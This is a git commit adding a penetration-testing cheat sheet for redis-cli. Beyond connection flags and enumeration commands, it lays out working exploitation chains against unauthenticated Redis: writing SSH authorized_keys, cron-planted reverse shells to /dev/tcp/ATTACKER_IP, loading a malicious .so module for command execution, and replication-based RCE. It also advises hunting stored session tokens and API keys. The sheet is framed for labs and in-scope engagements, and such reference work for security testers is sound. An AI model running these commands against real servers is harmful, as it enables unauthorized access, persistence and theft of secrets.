commit 084e6975d2cc4b623d9d042d8457d27243e5bfbe parent ff5fb8249205c8b4b97f8fc18a2dac6c6530d34f Author: $: DAΞMON <zer0sec.xp@icloud.com> Date: Thu, 17 Sep 2026 16:42:28 +0100 Add redis-cli cheat sheet Covers connection syntax, the interactive REPL, non-interactive flags, and the unauth-Redis exploitation chain (SSH-key write, cron write, module-load RCE, replication-based RCE). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Diffstat:
| A | src/content/sheets/tools/redis-cli.md | | | 251 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
1 file changed, 251 insertions(+), 0 deletions(-)
diff --git a/src/content/sheets/tools/redis-cli.md b/src/content/sheets/tools/redis-cli.md @@ -0,0 +1,251 @@ +--- +title: "redis-cli" +description: "redis-cli connection syntax, the interactive REPL and non-interactive flags, plus using it as the pentest tool of choice for unauthenticated Redis: enumeration, CONFIG-based SSH key/cron writes, and module-load RCE." +category: tools +tags: [tools, redis, enumeration, exploitation] +tools: [redis-cli] +difficulty: intermediate +updated: "2026-09-17" +--- + +# redis-cli + +> **redis-cli** — the official command-line client shipped with Redis, used both to administer a legitimate instance and (offensively) to talk directly to an unauthenticated or credentialed [Redis](https://redis.io/) service (default port **6379/tcp**) during enumeration and exploitation. Redis ships with **no authentication by default** and historically binds to all interfaces, making it one of the highest-value "low-hanging fruit" services in internal/HTB engagements — see [Service Enumeration → Redis](/sheets/pentest-workflow/service-enumeration) and [Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide) for the workflow-stage version of this content. + +## Installation + +```bash +# macOS (Homebrew) — installs redis-server + redis-cli together, no separate cask +brew install redis + +# Debian / Ubuntu — client only, no server +sudo apt install redis-tools + +# Debian / Ubuntu — full package (server + client) +sudo apt install redis-server + +# Kali — preinstalled; if missing: +sudo apt install redis-tools + +# From source (any *nix, when the target's version matters for a specific CVE) +git clone https://github.com/redis/redis.git && cd redis && make +./src/redis-cli --version +``` + +```bash +redis-cli --version # e.g. "redis-cli 8.10.1" +redis-cli --help # full flag list +``` + +## Connecting + +```bash +redis-cli -h 10.10.10.100 # default port 6379, no auth +redis-cli -h 10.10.10.100 -p 6380 # custom port +redis-cli -h 10.10.10.100 -a 'S3cr3tPass' # AUTH password (warns: password on cmdline visible in ps/history) +redis-cli -h 10.10.10.100 -a 'S3cr3tPass' --no-auth-warning # suppress that warning +redis-cli -h 10.10.10.100 --user default -a 'pass' # Redis 6+ ACL username +redis-cli -h 10.10.10.100 -n 3 # select logical DB 3 (of 16, default 0) +redis-cli -u redis://default:pass@10.10.10.100:6379/0 # connection-string form +redis-cli -h 10.10.10.100 --tls --cacert ca.pem # TLS-enabled instance (Redis 6+ w/ TLS build) +redis-cli -h 10.10.10.100 -3 # force RESP3 protocol (HELLO) +``` + +Once connected you land in the interactive prompt: `10.10.10.100:6379>`. Any command below also works as a one-shot non-interactive call: `redis-cli -h $IP <command> <args>`. + +## Core Flags + +| Flag | Description | +|------|-------------| +| `-h <host>` | Target host (default `127.0.0.1`) | +| `-p <port>` | Target port (default `6379`) | +| `-a <password>` | Password for `AUTH` (or `-a ""` to test empty-password auth) | +| `--user <name>` | ACL username (Redis 6+), paired with `-a` | +| `-n <db>` | Select DB index after connecting (`0`–`15` by default) | +| `-x` | Read the **last argument** from stdin — used for pipe-writing binary/file data into a key | +| `--no-raw` | Force human-readable formatted output (useful when scripting expects raw) | +| `--csv` | Output replies in CSV format | +| `-r <n>` | Repeat the command `n` times | +| `-i <secs>` | Interval between repeats (with `-r`) | +| `--scan` | Non-interactively run a full `SCAN` cursor loop, printing every key | +| `--pattern <glob>` | Filter `--scan` results by key-name glob | +| `--bigkeys` | Sample the keyspace and report the largest key per data type | +| `--stat` | Continuously print `INFO`-derived stats (like `top` for Redis) | +| `--latency` | Measure round-trip latency to the server | +| `--rdb <file>` | Download the server's RDB snapshot over the wire (Redis 6+, no filesystem access needed) | +| `--pipe` | Pipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert) | +| `--cluster <cmd>` | Redis Cluster admin subcommands (`check`, `info`, `reshard`, …) | + +## Enumeration — Is It Actually Unauthenticated? + +```bash +redis-cli -h $IP PING # "PONG" with no AUTH = unauthenticated +redis-cli -h $IP INFO # full server/replication/keyspace info if unauth +redis-cli -h $IP INFO server | head # just the version/os/build section +``` + +- **`PONG`/data returned** → no auth required, proceed straight to enumeration. +- **`(error) NOAUTH Authentication required.`** → auth is enabled; try `-a ""` (empty password), common default/weak creds, or move on. + +```bash +# Fast unauth check across a subnet (no redis-cli loop needed) +nmap -p6379 --script redis-info -sV 10.10.10.0/24 +``` + +## Enumeration Commands + +```bash +redis-cli -h $IP INFO # everything: version, OS, uptime, memory, replication, persistence +redis-cli -h $IP CONFIG GET '*' # dump the entire live config (dir, dbfilename, requirepass, logfile, ...) +redis-cli -h $IP CONFIG GET dir # working directory the server writes to +redis-cli -h $IP CONFIG GET requirepass # empty string back = no password set, even if you got this far via other auth +redis-cli -h $IP DBSIZE # key count in the selected DB +redis-cli -h $IP CLIENT LIST # connected clients, their addresses and idle time +redis-cli -h $IP CLIENT GETNAME +redis-cli -h $IP KEYS '*' # list every key — blocking, avoid on large/prod DBs +redis-cli -h $IP --scan --pattern '*' # same result, non-blocking cursor iteration (prefer this) +redis-cli -h $IP TYPE keyname # string/list/set/zset/hash/stream +redis-cli -h $IP GET keyname # read a string key +redis-cli -h $IP LRANGE keyname 0 -1 # read a full list +redis-cli -h $IP SMEMBERS keyname # read a full set +redis-cli -h $IP HGETALL keyname # read a full hash +redis-cli -h $IP ZRANGE keyname 0 -1 WITHSCORES # read a full sorted set +redis-cli -h $IP --bigkeys # find the biggest keys — often config/session/cache dumps worth reading +``` + +> [!tip] Credential and secret hunting +> Redis is frequently used as a **session store, cache, or job queue**. `KEYS '*'`/`--scan` followed by targeted `GET`/`HGETALL`/`LRANGE` on interesting-looking keys (`session:*`, `celery`, `laravel:*`, `*token*`, `*password*`) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything. + +## Exploitation — SSH Key / authorized_keys Write + +Classic technique when Redis runs as a user with a writable home directory (often the `redis` service account, sometimes `root` on a badly-configured box). + +```bash +# 1. Generate a keypair on your attacking box +ssh-keygen -t rsa -b 4096 -f redis_key -N "" + +# 2. Confirm the target dir is writable by the redis process +redis-cli -h $IP CONFIG GET dir + +# 3. Point Redis's save-dir/save-file at the SSH authorized_keys location +redis-cli -h $IP CONFIG SET dir /var/lib/redis/.ssh +redis-cli -h $IP CONFIG SET dbfilename authorized_keys + +# 4. Write the public key as a string value with padding newlines, then flush to disk +(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h $IP -x SET sshkey +redis-cli -h $IP SAVE + +# 5. Connect +ssh -i redis_key redis@$IP +``` + +> [!warning] Destructive and environment-dependent +> `SAVE` rewrites the server's on-disk RDB file — do this only in a lab or against an explicitly in-scope target, and prefer snapshotting the original `dir`/`dbfilename` values first (`CONFIG GET dir` / `CONFIG GET dbfilename`) so you can restore them. `CONFIG SET dir` fails silently-ish (`(error) ERR ... Changing directory: ...`) if the redis user can't write there — pick a directory the service actually owns (its own data dir is the safe bet if `.ssh` isn't writable). Root often doesn't run Redis anymore on modern distros; check `INFO server` → `process_id` and `/proc/<pid>/status` (if you get a shell another way) for the real run-as user first. + +## Exploitation — Cron-Based Reverse Shell + +Alternative to SSH-key write when `/etc/cron.d/` (or the target user's crontab spool) is writable instead of `~/.ssh/`. + +```bash +redis-cli -h $IP CONFIG SET dir /var/spool/cron/crontabs +redis-cli -h $IP CONFIG SET dbfilename root # or the target cron user's name + +redis-cli -h $IP SET cronjob "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n" +redis-cli -h $IP SAVE + +# Debian/Ubuntu cron.d syntax instead needs a run-as-user field: +redis-cli -h $IP CONFIG SET dir /etc/cron.d +redis-cli -h $IP CONFIG SET dbfilename malicious +redis-cli -h $IP SET x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" +redis-cli -h $IP SAVE +``` + +Catch it with `pwncat-cs -lp 4444` / `rustcat listen -p 4444` / `nc -lvnp 4444`, wait up to 60s for cron to fire. + +## Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled) + +If `CONFIG GET dir`/write access works but there's no cron or SSH path, and the server allows `MODULE LOAD` (disabled by default on hardened/managed Redis but common on self-hosted boxes): + +```bash +# Build or fetch a malicious .so (e.g. RedisModules-ExecuteCommand) +git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand +cd RedisModules-ExecuteCommand && make + +# Upload the module via SET + SAVE, same CONFIG SET dir/dbfilename trick as above, +# pointed at a filename ending in .so and the server's dir +redis-cli -h $IP CONFIG SET dir /tmp +redis-cli -h $IP CONFIG SET dbfilename exp.so +cat module.so | redis-cli -h $IP -x SET payload +redis-cli -h $IP SAVE + +redis-cli -h $IP MODULE LOAD /tmp/exp.so +redis-cli -h $IP system.exec "id" # command exposed by the loaded module +``` + +Fully automated versions of both the SSH-key and module-RCE paths: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) and the Metasploit `exploit/linux/redis/redis_replication_cmd_exec` / `redis_file_upload` modules. + +## Replication-Based RCE (Master/Slave Abuse) + +Redis 4/5's replication feature can be abused to load an attacker-controlled `.so` module without ever touching the filesystem via `SAVE`: + +```bash +# Tools like redis-rogue-server automate this: spin up a rogue "master" Redis, +# issue SLAVEOF to point the target at it, then push the module through the sync stream. +python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lport 21000 +``` + +Preferred when `CONFIG SET dir` is locked down (protected-mode-style hardening) but `SLAVEOF`/`REPLICAOF` is still callable. + +## Non-Interactive & Scripting Usage + +```bash +# One-shot command (no REPL) — good for scripting/loops +redis-cli -h $IP GET mykey + +# Pipe a script of commands (one per line) in non-interactively +cat commands.txt | redis-cli -h $IP + +# EVAL — run server-side Lua; useful both for admin tasks and, historically, for +# sandbox-escape RCE research (patched in modern Redis, still worth checking version) +redis-cli -h $IP EVAL "return redis.call('GET', KEYS[1])" 1 mykey + +# Mass-insert benchmark/seed data fast (raw RESP protocol over --pipe) +redis-cli -h $IP --pipe < mass_insert_commands.resp + +# Monitor every command hitting the server in real time (great for watching an app's traffic) +redis-cli -h $IP MONITOR + +# Download the RDB snapshot without needing filesystem/SAVE access +redis-cli -h $IP --rdb /tmp/dump.rdb +``` + +## Cleanup + +If you wrote to `dir`/`dbfilename`, restore them to avoid leaving the box in a broken state: + +```bash +redis-cli -h $IP CONFIG SET dir <original_dir> +redis-cli -h $IP CONFIG SET dbfilename <original_dbfilename> +redis-cli -h $IP DEL sshkey cronjob payload x # remove any keys you added +``` + +## Troubleshooting + +| Problem | Solution | +|---------|----------| +| `(error) NOAUTH Authentication required.` | Try `-a ""`, weak default creds, or move on — no unauth exploitation available | +| `CONFIG SET dir` errors / silently doesn't stick | Redis process can't write there; pick a dir it already owns (check `CONFIG GET dir` first) | +| `SAVE` returns fine but nothing lands on disk | Wrong `dbfilename`/`dir` combo, or `save` points elsewhere — confirm with `CONFIG GET save` / `LASTSAVE` | +| `MODULE LOAD` unsupported / returns error | `enable-module-command` disabled (default since Redis 7) — fall back to SSH-key/cron write instead | +| Cron reverse shell never fires | Check the crontab syntax landed correctly (`cat` the file back via `GET`), confirm the cron daemon actually reads that spool path | +| Connection refused / times out | Redis often binds `127.0.0.1` only on hardened hosts — you need a foothold or SSRF (see gopher payload below) to reach it | +| Need to reach Redis via a web SSRF, not directly | Build a `gopher://` payload with [Gopherus](https://github.com/tarunkant/Gopherus) — see [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) | + +## See Also + +- **[Service Enumeration](/sheets/pentest-workflow/service-enumeration)** — Redis inside the broader stage-by-stage triage workflow. +- **[Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide)** — the condensed one-liner version of the SSH-key-write chain. +- **[Anonymous / Null-Session Testing](/sheets/enumeration/anonymous-null-testing)** — Redis alongside SMB/LDAP/FTP/SNMP/NFS/MongoDB unauth checks. +- **[fscan](/sheets/tools/fscan)** — automates Redis detection + SSH-key/cron exploitation across a whole subnet. + +Based on redis-cli 8.x (Redis 8.10.1) — https://redis.io/docs/latest/develop/tools/cli/